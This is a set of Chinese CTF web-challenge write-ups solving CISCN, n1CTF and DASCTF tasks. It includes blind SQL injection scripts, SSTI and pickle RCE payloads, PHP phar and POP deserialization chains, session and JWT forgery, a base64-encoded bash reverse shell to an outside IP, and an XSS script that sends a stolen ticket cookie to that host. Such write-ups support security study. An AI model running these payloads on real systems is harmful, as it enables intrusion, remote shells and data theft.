CISCN

[CISCN 2023]unzip

创建一个软链接文件,命名为 slink 指向 /var/www/html,然后把他压缩。

1
2
ln -s /var/www/html slink
zip --symlink slink.zip ./*

此时,解压后 slink 就指向了网站根目录。

而后,我们再次创建一个文件夹,名字是 slink,里面创建一个 1.php

然后把这个文件夹压缩。

1
zip -r slink2.zip ./slink/*

按照顺序上传。

相当于第一次解压后 slink 相当于网站根目录,再次解压后,由于目录相同,直接把 1.php 写入 /var/www/html 完成写马。

在 n1ctf 中,利用这种软连接指向 /proc/self/environ 得到 key,然后用 flask-session-cookie-manager 修改 roleadmin,最后,命令:python xxx.py decode(encode) -c value -s key jwt 解密无需 key,由三部分拼接而成,加密头,内容,签名)。 最后修改自定义 dir 为命令拼接,获得 flag

[CISCN 2019华北Day2]web1

一道 sql 注入。

我们随便试试,看看用什么闭合。

1
2
3
1%23 //  SQL Injection Checked.
1'%23 // SQL Injection Checked.
1"%23// SQL Injection Checked.

我们可以大胆猜一下,这题的 IDINT 压根不用闭合。

那我们再试一试结果,可以发现。

1
2
id = 1 //Hello, glzjin wants a girlfriend.id = 1
id = 0 // Error Occured When Fetch Result.

好了,布尔盲注。

直接开干,延时都不用,直接观察结果即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
import requests
import time


def print_banner():
banner = """
███████╗ ██████╗ ██╗ ██╗███╗ ██╗██╗ ██╗██████╗
██╔════╝██╔═══██╗██║ ██║████╗ ██║██║ ██║██╔══██╗
███████╗██║ ██║██║ ██║██╔██╗ ██║██║ ██║██║ ██║
╚════██║██║ ██║██║ ██║██║╚██╗██║██║ ██║██║ ██║
███████║╚██████╔╝███████╗ ██║██║ ╚████║╚██████╔╝██████╔╝
╚══════╝ ╚═════╝ ╚══════╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚═════╝

Author: deepseek
"""
print(banner)


def blind_sql_injection_standard():
# 目标URL
url = "http://node4.anna.nssctf.cn:28038/"

# 存储结果
flag = ""

# 成功响应的标识
success_indicator = "Hello, glzjin wants a girlfriend"

print("🚀 开始布尔盲注(标准版-POST)")
print("📌 目标URL:", url)
print("🎯 成功标识:", success_indicator)
print("⏳ 遇到 '}' 字符自动结束")
print("-" * 50)

position = 1
max_length = 100 # 设置最大长度防止无限循环
start_time = time.time()

while position <= max_length:
found_char = False

# 遍历ASCII可打印字符
for ascii_val in range(32, 127):
# 构造payload,不使用空格
payload = f"if(ascii(mid((select(flag)from(flag)),{position},1))={ascii_val},1,0)"
data = {"id": payload}

try:
response = requests.post(url, data=data, timeout=5)
if success_indicator in response.text:
char = chr(ascii_val)
flag += char
print(f"✅ 位置 {position:2d}: {char} \t→ 当前进度: {flag}")
found_char = True

# 如果遇到 } 就结束
if char == '}':
end_time = time.time()
print("-" * 50)
print("🎉 检测到结束符 '}',爆破完成!")
print(f"⏱️ 总耗时: {end_time - start_time:.2f}秒")
print(f"🏁 最终flag: {flag}")
return

break
except Exception as e:
print(f"❌ 请求出错: {e}")
time.sleep(1)

if not found_char:
print(f"💔 位置 {position}: 未找到匹配字符,可能已结束")
break

position += 1
time.sleep(0.1) # 稍微延迟,避免请求过快

end_time = time.time()
print("-" * 50)
print(f"⏱️ 总耗时: {end_time - start_time:.2f}秒")
print(f"🏁 最终结果: {flag}")


def blind_sql_injection_binary():
# 目标URL
url = "http://node4.anna.nssctf.cn:28038/"

# 存储结果
flag = ""

# 成功响应的标识
success_indicator = "Hello, glzjin wants a girlfriend"

print("🚀 开始布尔盲注(二分法优化版-POST)")
print("📌 目标URL:", url)
print("🎯 成功标识:", success_indicator)
print("⚡ 使用二分查找法,效率更高")
print("⏳ 遇到 '}' 字符自动结束")
print("-" * 50)

position = 1
max_length = 100
start_time = time.time()
request_count = 0

while position <= max_length:
low, high = 32, 126 # ASCII可打印字符范围
found_char = None

while low <= high:
mid = (low + high) // 2
request_count += 1

# 判断当前字符的ASCII码是否大于mid
payload = f"if(ascii(mid((select(flag)from(flag)),{position},1))>{mid},1,0)"
data = {"id": payload}

try:
response = requests.post(url, data=data, timeout=5)
if success_indicator in response.text:
low = mid + 1
else:
# 检查是否等于mid
payload_eq = f"if(ascii(mid((select(flag)from(flag)),{position},1))={mid},1,0)"
data_eq = {"id": payload_eq}
response_eq = requests.post(url, data=data_eq, timeout=5)
request_count += 1

if success_indicator in response_eq.text:
found_char = chr(mid)
break
else:
high = mid - 1
except Exception as e:
print(f"❌ 请求出错: {e}")
time.sleep(1)

if found_char:
flag += found_char
print(f"✅ 位置 {position:2d}: {found_char} \t→ 当前进度: {flag}")

# 如果遇到 } 就结束
if found_char == '}':
end_time = time.time()
print("-" * 50)
print("🎉 检测到结束符 '}',爆破完成!")
print(f"⏱️ 总耗时: {end_time - start_time:.2f}秒")
print(f"📊 总请求数: {request_count}")
print(f"🏁 最终flag: {flag}")
return
else:
print(f"💔 位置 {position}: 未找到匹配字符,可能已结束")
break

position += 1
time.sleep(0.05) # 稍微延迟

end_time = time.time()
print("-" * 50)
print(f"⏱️ 总耗时: {end_time - start_time:.2f}秒")
print(f"📊 总请求数: {request_count}")
print(f"🏁 最终结果: {flag}")


if __name__ == "__main__":
print_banner()

print("\n请选择注入方式:")
print("1. 标准版(稳定可靠)")
print("2. 二分法优化版(高效快速)")

try:
choice = input("请输入选择 (1 或 2): ").strip()

if choice == "1":
print("\n" + "=" * 60)
blind_sql_injection_standard()
elif choice == "2":
print("\n" + "=" * 60)
blind_sql_injection_binary()
else:
print("❌ 无效选择,默认使用标准版")
print("\n" + "=" * 60)
blind_sql_injection_standard()

except KeyboardInterrupt:
print("\n\n⏹️ 用户中断执行")
except Exception as e:
print(f"\n\n❌ 程序执行出错: {e}")

[CISCN 2019华东南]Double Secret

遇事不决,先扫目录。

发现 /secret,看看怎么利用吧。

1
Tell me your secret.I will encrypt it so others can't see

谜语了。随便试试。

1
http://node4.anna.nssctf.cn:28365/secret?secret=1211111

报错了,看看吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
   if(secret==None):

return 'Tell me your secret.I will encrypt it so others can\'t see'

rc=rc4_Modified.RC4("HereIsTreasure") #解密

deS=rc.do_crypt(secret)

[Open an interactive python shell in this frame]

a=render_template_string(safe(deS))



if 'ciscn' in a.lower():

return 'flag detected!'

return a

读不懂的话就让 AI 帮你读。

发现就是 输入一个 RC4 加密的字符串,然后解密后渲染,这不就是 SSTI

RC4, URL Encode - CyberChef

payload:

1
{{undifined.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /f*').read()")}}

[CISCN 2023 华北]ez_date

好久没见 php 题了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
error_reporting(0);
highlight_file(__FILE__);
class date{
public $a;
public $b;
public $file;
public function __wakeup()
{
if(is_array($this->a)||is_array($this->b)){
die('no array');
}
if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
$content=date($this->file);
$uuid=uniqid().'.txt';
file_put_contents($uuid,$content);
$data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
echo file_get_contents($data);
}
else{
die();
}
}
}

unserialize(base64_decode($_GET['code']));

不能用 数组绕过的 md5 强相等 和 sha1 强相等,这显然不能用碰撞了吧。。

想想其他的 trick,既然可以搞序列化,而不是直接传参,我们就试试 md5("1") === md5(1),这显然是相等的了。

再看看下面的逻辑,就是把 传进来的 file 值,经过 date 函数处理后写入一个文件中,然后再对这个文件中空白符和换行符做替换,最后读取处理后名为 file 的文件,也就是我们想读的 flag

关键点还是在 date 函数。

简单来说,date 函数就是对一些特定的字符进行替换,如下图。

image-20251013155134684

类似于这种吧,那么只需要把前面加上转义,就可以轻松读取 flag了。

那么对于 flaglag 他们都在这字典中存在,所以务必加上转义。

但是如果不存在的,你加上转义了,比如 \f 会认为是换页符,从而失败。

所以还需要 稍微测试一下,不能全靠感觉。

exp:

1
2
3
4
5
6
7
8
9
10
<?php
//error_reporting(0);
//highlight_file(__FILE__);
class date{
public $a=1;
public $b="1";
public $file="/f\l\a\g";
}

echo base64_encode(serialize(new date()));

[CISCN 2019华北Day1]Web1

这题随便注册一个帐号之后发现可以任意文件读取,然后读到 class.php,一看这么多类还有 call 方法 + 上传文件 + 读取,直接 phar 反序列化。

审计代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
class User {
public function __destruct() {
$this->db->close();
}
}
class FileList {
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
}
class File {
public function close() {
return file_get_contents($this->filename);
}
public function detele() {
unlink($this->filename);
}
}
//利用链 User#close -> Filelist#_call -> File#close

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

class User {
public $db;
public function __construct() {
$this->db = new FileList();
}
}
class FileList {
private $files;
public function __construct() {
$this->files = array(new File());
}
}
class File {
public $filename = '/flag.txt';
}

$user = new User();


$phar = new Phar("1.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");
$phar->setMetadata($user);
$phar->addFromString("exp.txt","exp");//生成签名的参数可以随便填
$phar->stopBuffering();

deleteunlink 删除函数,触发反序列化。

image-20251013162149824

[CISCN 2019华东南]Web4

打开之后就发现,python 题,可以任意文件读。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

@app.route('/')
def index():
session['username'] = 'www-data'
return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'

@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('^file.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m or n:
return 'No Hack'
res = urllib.urlopen(url)
return res.read()
except Exception as ex:
print str(ex)
return 'no response'

@app.route('/flag')
def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'

if __name__=='__main__':
app.run(
debug=True,
host="0.0.0.0"
)

那无非就是 session 伪造了,关键问题是 secret-key 怎么拿。

image-20251014104240235

1
2
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)

看一下这个函数到底是啥。

image-20251014104716094

就是把网卡地址转化成一个 48 位整数输出给我了。

那么我们只需要获取到 服务器 的 网卡地址,再把这个网卡地址从 16 进制 转化为 10进制,不就可以得到种子了吗。

再看一下 python 随机数的生成,本质上就是梅森旋转算法是确定性的状态机,给定确定种子后的一个确定性算法,相同的种子必然产生相同的随机数序列。

那我现在的目的就是获取到 mac 地址了,问下ai,随便试试。

1
2
3
4
cat /sys/class/net/*/address
cat /sys/class/net/eth0/address
cat /sys/class/net/ens33/address
cat /sys/class/net/wlan0/address

读到了,转成 10 进制就好了。

1
2
3
4
5
import random

random.seed(2485376933074)
randStr = str(random.random() * 233)
print(randStr)

然后死活过不去,怀疑下是不是 python 版本的问题。

用 题目环境的 python2 试一下,果然如此。

1
2
python flask_session_cookie_manager3.py decode -c "eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.aO22eg.Czbk2QE1osTWAevtHoNcyezHvhY" -s "67.9049517771"
python flask_session_cookie_manager3.py encode -s "67.9049517771" -t "{'username': b'fuck'}"

[CISCN 2019华北Day1]Web2

注册个账号,发现余额只有 1000,估摸是买不起。

再看一下要求说是要 lv6,找找 lv6。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import requests
import sys


def scan_page():
"""
扫描page参数,当找到/static/img/lv/lv6.png时停止并输出page号码
"""
base_url = "http://node4.anna.nssctf.cn:28680/shop"
headers = {
"Host": "node4.anna.nssctf.cn:28680",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate, br",
"Connection": "keep-alive",
"Referer": "http://node4.anna.nssctf.cn:28680/shop",
"Cookie": "Hm_lvt_648a44a949074de73151ffaa0a832aec=1756556227; PHPSESSID=e23da8a7786f1c74b1e5b89ecf862f47; session=eyJ1c2VybmFtZSI6eyIgYiI6IlpuVmphdz09In19.aO2-FA.Ky5oczk5sinlz8Oa68bLCZ9MxFk; _xsrf=2|247f420f|09033d18917e94094c3a0d7ab155dcd4|1760412041; JWT=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Inp6eiJ9.c3uggHU4S6rDQcjD7TS3-E7sw9ohmj4zL24GRpg6CPQ",
"Upgrade-Insecure-Requests": "1",
"Priority": "u=0, i"
}

target_string = "/static/img/lv/lv6.png"

print("开始扫描page参数...")
print(f"目标字符串: {target_string}")
print("-" * 50)

# 从第1页开始扫描,可以调整范围
for page in range(1, 1000): # 假设最大扫描到999页
try:
params = {"page": page}
response = requests.get(base_url, params=params, headers=headers, timeout=10)

print(f"正在扫描 page={page}, 状态码: {response.status_code}", end="")

if response.status_code == 200:
if target_string in response.text:
print(f" ✓ 找到目标!")
print("-" * 50)
print(f"成功找到目标字符串!")
print(f"目标出现在 page = {page}")
print(f"URL: {response.url}")
return page
else:
print(" - 未找到目标")
else:
print(f" - HTTP错误: {response.status_code}")

except requests.exceptions.RequestException as e:
print(f"page={page} 请求失败: {e}")
continue

# 添加延迟避免请求过快
# time.sleep(0.1)

print("在指定范围内未找到目标字符串")
return None


def main():
try:
result = scan_page()
if result:
print(f"\n扫描完成! 目标字符串出现在 page {result}")
else:
print("\n扫描完成! 未找到目标字符串")
except KeyboardInterrupt:
print("\n用户中断扫描")
sys.exit(1)


if __name__ == "__main__":
main()
1
http://node4.anna.nssctf.cn:28680/shop?page=181

直接购买肯定是失败的,居然传了 金额 和 折扣,这不得不让我想到修改一下了,修改金额是没用的,那我修改一下折扣吧。

发现重定向到 /b1g_m4mber 了,跟进去。

本页面只允许 admin 访问,又要爆密钥了。

1
./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InF3cXF3cSJ9.Uu2dpy3f0LF9Q4zgTwdLxt0KbJXmJAh3ZSz96kWyrqU

爆出来是 1Kun

image-20251014114551074

直接改成 admin。

image-20251014114616772

进来了,发现 返回值 有源码泄露。

1
http://node4.anna.nssctf.cn:28680/static/asd1f654e683wq/www.zip

image-20251014115613555

可以打 pickle 反序列化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import pickle
import urllib

class A(object):
def __reduce__(self):
return (eval,("open('/flag.txt','r').read()",))
class A(object):
def __reduce__(self):
return (eval,("""__import__('os').popen('ls /').read()""",))

a = A()
b = pickle.dumps(a)

print(urllib.quote(b))

注意下,要在 python2 环境下编写代码和执行。

然后传到 become 参数中,得到 flag

[CISCN 2023 华北]pysym

标题说 不是软连接。

python 题,还是文件上传,给了附件看看。

关键代码:

1
os.system('tar --absolute-names  -xvf {} -C {}'.format(savepath,directory))

这里居然文件名不做限制。那直接拼接呗。

1
xxx.tar;echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMjMuNTcuMTA3LjMzLzEzMzcgMD4mMSc= | base64 -d | sh;

弹上 shell

image-20251014122829698

n1CTF

n1CTF Junior web

ping

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import base64
import subprocess
import re
import ipaddress
import flask

def run_ping(ip_base64):
try:
decoded_ip = base64.b64decode(ip_base64).decode('utf-8')
if not re.match(r'^\d+\.\d+\.\d+\.\d+$', decoded_ip):
return False
if decoded_ip.count('.') != 3:
return False

if not all(0 <= int(part) < 256 for part in decoded_ip.split('.')):
return False
if not ipaddress.ip_address(decoded_ip):
return False
if len(decoded_ip) > 15:
return False
if not re.match(r'^[A-Za-z0-9+/=]+$', ip_base64):
return False
except Exception as e:
return False
command = f"""echo "ping -c 1 $(echo '{ip_base64}' | base64 -d)" | sh"""

try:
process = subprocess.run(
command,
shell=True,
check=True,
capture_output=True,
text=True
)
return process.stdout
except Exception as e:
return False

app = flask.Flask(__name__)

@app.route('/ping', methods=['POST'])
def ping():
data = flask.request.json
ip_base64 = data.get('ip_base64')
if not ip_base64:
return flask.jsonify({'error': 'no ip'}), 400

result = run_ping(ip_base64)
if result:
return flask.jsonify({'success': True, 'output': result}), 200
else:
return flask.jsonify({'success': False}), 400

@app.route('/')
def index():
return flask.render_template('index.html')

app.run(host='0.0.0.0', port=5000)

利用 pythonbash b64 解码差异。

python 遇到等号停止解码。

bash 则不会。

image-20250915225717334

1
2
3
4
5
6
7
8
9
10
import base64

a = base64.b64encode(b"1.1.1.1").decode("utf-8") # MS4xLjEuMQ==
b = base64.b64encode(b"857857").decode("utf-8") # ODU3ODU3
c = base64.b64decode("MS4xLjEuMQ==ODU3ODU3").decode("utf-8")

print(a)
print(b)

print(c) # 只解码返回 1.1.1.1

image-20250915225921322

解释一下,这里命令 echo xxx | base64 -d 输出字符串 然后加管道符 把输出作为 base64 解码的输入,然后得到结果。

payload:利用差异分别编码1.1.1.1; cat /flag并拼接即可。

unfinished

这个题上来看到缓存就比较警觉了。

image-20251208155709207

回忆起这道题:

image-20251208155722351

也是这种写一次缓存绕过认证的,这题也是这样:

image-20251208155748820

admin 直接访问肯定是不得行了,那必须缓存一下才行。

然后考虑怎么拿flag,本来想着 SSTI 后面发现打不了,XSS 由于是 httponly=true 也打不了,所以说就联想到 ticket 接口还没用,直接搜:

image-20251208155951282

发现这篇文章,用法就是 先修改 Version,然后用旧模式解析。

COOKIE的排序方式从前到后是 PATH 由长到短,设置时间由长到短,所以说夹心一下,结合 /ticket 可以回显 cookie[ticket]

直接外带:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<script>
const url = new URL("http://localhost/ticket");
const domain = url.hostname;
const path = url.pathname;
document.cookie = `$Version=1; domain=${domain}; path=${path};`;//设置 version
document.cookie = `ticket="deadbeef; domain=${domain}; path=${path};`;//ticket开始,不闭合,path最长
//夹心 path 最短,但是设置时间最长
document.cookie = `dummy=qaz"; domain=${domain}; path=/;`;//Path最短// 1. 定义获取票据的函数
function getTicket() {
return fetch("/ticket", {
credentials: 'include'
})
.then(response => {
if (!response.ok) {
throw new Error(`Failed to fetch ticket: ${response.status}`);
}
return response.text();
});
}

function sendDataToServer(data) {
return fetch("http://123.57.107.33:5555/", {
method: "POST",
body: data,
headers: {
'Content-Type': 'text/plain'
}
})
.then(response => {
if (!response.ok) {
throw new Error(`Failed to send data: ${response.status}`);
}
return response;
});
}

getTicket()
.then(ticketData => {
console.log("Ticket data received");
return sendDataToServer(ticketData);
})
.then(response => {
console.log("Data sent successfully", response);
})
.catch(error => {
console.error("Error occurred:", error);
});
</script>

拿下:

image-20251208161308606

注意 document.cookie 还是获取不到,只能通过打这种有回显的。

DASCTF

DASCTF 2025上半年赛

phpms

打开啥也没有跑一下 dirsearch,然后跑到了 .git 。然后再跑一下 githacker。

1
2
3
4
python2 GitHack.py http://dbf62640-ffa7-4303-adf4-e266a102c493.node5.buuoj.cn:81/.git/
cd /home/kali/Desktop/GitHack/dist/dbf62640-ffa7-4303-adf4-e266a102c493.node5.buuoj.cn_81
git stash list
git stash show -p

image-20251015143633856

这里就是 注释符号优先级小于 ?> 的了。所以我们只需要闭合然后再重新开就能执行代码了。

1
2
?><?php $a = new GlobIterator("/*");foreach($a as $f){echo($f->__toString().'<br>');}
?>

这里配合 SplFileObject 任意文件读,读到 /proc/self/maps/lib/x86_64-linux-gnu/libc-2.31.so,然后 用 php-filter-iconv.py 进行 RCE。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import requests
import base64
import sys


def fetch_and_decode(url, output_file):
"""
从URL获取Base64编码的数据,解码后保存到文件
"""
try:
print(f"[*] 正在从 {url} 获取数据...")

# 发送HTTP请求
response = requests.get(url, timeout=30)
response.raise_for_status() # 检查请求是否成功

# 获取Base64编码的内容
encoded_content = response.text.strip()

# Base64解码
print(f"[*] 正在解码数据,长度: {len(encoded_content)}")
decoded_content = base64.b64decode(encoded_content)

# 保存到文件
with open(output_file, 'wb') as f:
f.write(decoded_content)

print(f"[✓] 成功保存到 {output_file}, 大小: {len(decoded_content)} 字节")
return True

except requests.exceptions.RequestException as e:
print(f"[✗] 网络请求失败: {e}")
return False
except base64.binascii.Error as e:
print(f"[✗] Base64解码失败: {e}")
return False
except Exception as e:
print(f"[✗] 错误: {e}")
return False


# 主程序
if __name__ == "__main__":
# 目标URL
base_url = "http://dbf62640-ffa7-4303-adf4-e266a102c493.node5.buuoj.cn:81/index.php?shell="

# 获取maps文件
maps_payload = "?><?php $context = new SplFileObject('php://filter/convert.base64-encode/resource=/proc/self/maps');foreach($context as $f){{echo($f);}}"
maps_url = base_url + requests.utils.quote(maps_payload)
fetch_and_decode(maps_url, "maps")

print("\n" + "=" * 50 + "\n")

# 获取libc文件
libc_payload = "?><?php $context = new SplFileObject('php://filter/convert.base64-encode/resource=/lib/x86_64-linux-gnu/libc-2.31.so');foreach($context as $f){{echo($f);}}"
libc_url = base_url + requests.utils.quote(libc_payload)
fetch_and_decode(libc_url, "libc-2.31.so")

下载之后,修改一下 php-filter-iconv.py

1
2
3
def failure(msg):
print(f"[-] ERROR: {msg}")
exit(1)

这里需要加一下,要不然报错。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
maps_path = './maps'
cmd = 'echo 123 > /tmp/1.txt'
sleep_time = 1
padding = 20

if not os.path.exists(maps_path):
exit("[-]no maps file")

regions = get_regions(maps_path)
heap, libc_info = get_symbols_and_addresses(regions)

libc_path = libc_info.path
print("[*]download: "+libc_path)

libc_path = './libc-2.23.so'
if not os.path.exists(libc_path):
exit("[-]no libc file")

把这里改一下。

然后给的 payload 直接用原生类任意文件读就行了。

image-20251015154113184

读一下 env。

image-20251015154442838

env里没有,文件里也没有,考虑 redis。读一下 passwd。

image-20251015154554779

读到 redis。

读一下 redis 的密码,/etc/redis.conf

image-20251015154751684

然后打一下 redis

1
2
redis-cli -a admin123 KEYS "*" 
redis-cli -a admin123 GET "flag"

image-20251015155238573

读到 flag

一个神奇的性质:

1
2
3
$context = file_get_contents('php://filter/convert.base64-encode/resource=data:text/plain;base64,cXd3ZHF3ZGF3ZGFkc2Fkc2Rhc2Rhc2Rhc2Rhc2Rhc2RzYWRhc2Rhcw==');
echo $context . "\n";
//当 filter + data 组合拳的时候,这里会将 带有 = 的字节神奇截断

DASCTF 2023 & 0X401七月暑期挑战赛

EzFlask

python 原型链污染

globals()=class.__init__.__globals__=function.__globals__

payload:

1
2
3
4
5
"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f" : {
"__globals__" : {
"__file__" : "/proc/1/environ"
}
}

MyPicDisk

前情提要:这个题随便用一个万能密码进去之后,就发现有源码提示了,这个人就下载下来源码,这不一眼 phar (md5读文件) 配合 php反序列化拼接 shell吗?于是这个入就开始调,搞了两天不知道为什么搞不出来,后来就纯 md5 了一下,发现可能是文件损毁了?md5 都不一样,很奇怪。

后来这个入又想到一个直接拼接文件名,正常提交,然后正常在代码里触发 destruct 不就得了。

哦对了,这里还要注意一下代码逻辑,如果用万能密码的话会提示你不是管理员,但是实际代码判断的时候只是 echo & unset(session)而并没有 die ,继续执行了。

说干就干,waf 有,但不多。好像就是不能有两个 . 和反斜线,然后要有白名单的后缀名,那这一想我拼接这些好像都不care。

放一下重点代码吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
    public function __destruct(){
system("ls -all ".$this->filename);
}

============================================================================================================
if ($_SESSION['user'] !== 'admin') {
echo "<script>alert('you are not admin!!!!!');</script>";
unset($_SESSION['user']);
echo "<script>location.href='/index.php';</script>";
}
============================================================================================================
$file = new FILE($filename);
if ($_GET['todo'] !== "remove" && $_GET['todo'] !== "show") {
echo "<img src='../" . $filename . "'><br>";
echo "<a href='../index.php/?file=" . $filename . "&&todo=remove'>remove</a><br>";
echo "<a href='../index.php/?file=" . $filename . "&&todo=show'>show</a><br>";
} else if ($_GET['todo'] === "remove") {
$file->remove();
echo "<script>alert('图片已删除!');location.href='/index.php';</script>";
} else if ($_GET['todo'] === "show") {
$file->show();
}

那不随便构造:

payload:

1
;echo "" | base64 -d | sh ;a.png

DASCTF X CBCTF 2022九月挑战赛

dino3d

一个小小的 MD5,注意时间卡的挺严的,所以还是要用脚本弄。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
from hashlib import md5
import time
target = "http://node5.buuoj.cn:27231/check.php"

headers = {
"Content-type": "application/x-www-form-urlencoded; charset=UTF-8"
}


body = {
"score": "10000000",
"checkCode": md5("10000000DASxCBCTF_wElc03e".encode()).hexdigest(),
"tm": str((time.time()))[:10]
}


res = requests.post(target, headers=headers, data=body)
print(res.text)

Text Reverser

就是一个小小的 SSTI,过滤了双花括号和一些文件读取函数,用{% print %} & tail 代替就行。

1
{%print ''.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('tail /flag').read()%}

cbshop

  1. nodejs 代码审计可以发现 password.substring(1,6) 然后得一下结果。

  2. 然后我们看必须要求 user.token 属性为真,但是在类中没有被定义,所以不难想到原型链污染,assign 函数,因此我们把用户名字改成 __proto__,然后在调用一下 buyapi 污染一下。其中源码污染点就是 Object.assign(order[user.username] product);

  3. 最后我们发现源码中又对 flag 进行了过滤,我们可以尝试一下这个函数到底参数是什么,报错一下发现下面的东西。

    1
    The "path" argument must be of type string or an instance of Buffer or URL. Received an instance of Object

    那不显然可以传一个 字符串、Buffer对象、URL对象或文件描述符。 那我们显然就可以试一下 file 协议绕过一下就完事了。

    1
    console.log(new URL('file:///fl%61g'));

2022DASCTF X SU 三月春季挑战赛

ezpop

这是一道 pop 题。我们先看看链子该如何构造。

从后往前看,从前往后看都结合一下,肯定先调用 destruct ,一看 echo 想到 tostring,平滑过渡,这里就要想到底是调哪个 run ,不难发现其实应该都可以。那我们想想最后要干嘛,肯定是最后调一个 call 然后 getflagcall 又可以被 world 触发,所以关键点还是在于怎么触发这个 world 也就是 invoke,那回到刚才的话题,run 调哪个都可以,只需要 run 的方法是 crow 这个对象就行,这样的话就能调 invoke 了。

注意这里 eval 添加代码的时候加了一个注释,闭合之后直接再开一个 ?><?php system("env");?> 就行。

补:eval 是一种语言结构而不是 function 本质相当于插入代码。

一般习惯正着推,正着写,倒着赋值,然后 reverse

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// $fin_final->f1= $what_;//destruct -> tostring


//payload1:::
// $what_->a = $fin_2;//tostring->fin.run
// $fin_2->f1 = $crow_1; //fin.run - crow.invoke


//payload2:::
// $what_->a = $mix_2;//tostring->mix.run
// $mix_2->m1 = $crow_1; //mix.run - crow.invoke


// $crow_1->v1= $fin_1; //crow.invoke->fin.call
// $fin_1->f1= $mix_;//fin.call->mix.getflag
// $mix_->m1= "php代码";


//payload1:::
$mix_->m1= "?><?php system('env');?>";
$fin_1->f1= $mix_;
$crow_1->v1= $fin_1;
$mix_2->m1 = $crow_1;
$what_->a = $mix_2;
$fin_final->f1= $what_;


//payload2:::
$mix_->m1= "?><?php system('env');?>";
$fin_1->f1= $mix_;
$crow_1->v1= $fin_1;
$fin_2->f1 = $crow_1;
$what_->a = $fin_2;
$fin_final->f1= $what_;

calc

python 题。

我们审计一下代码发现存在两处执行:

evalos.system,那 eval 里头的 waf 太多了,不好弄,试试 os.system 吧。

首先我们要过掉 python 添加代码 eval 里的代码合法性检查,毕竟我们传的是 bash,所以我们加个 # 吧。然后我们直接构造就行了,其中 bash 里有个东西是反引号,他能执行代码后把这个变量替换为值,比如:

1
echo `whoami`; 也就是会输出 kali

我们再看一下注释吧,python 的注释是 # 后面都是注释,bash 只有空格隔开后面的才是注释,比如:

1
2
echo #1234 //这里就是注释
echo 1234# 这里就不是注释 输出 1234#

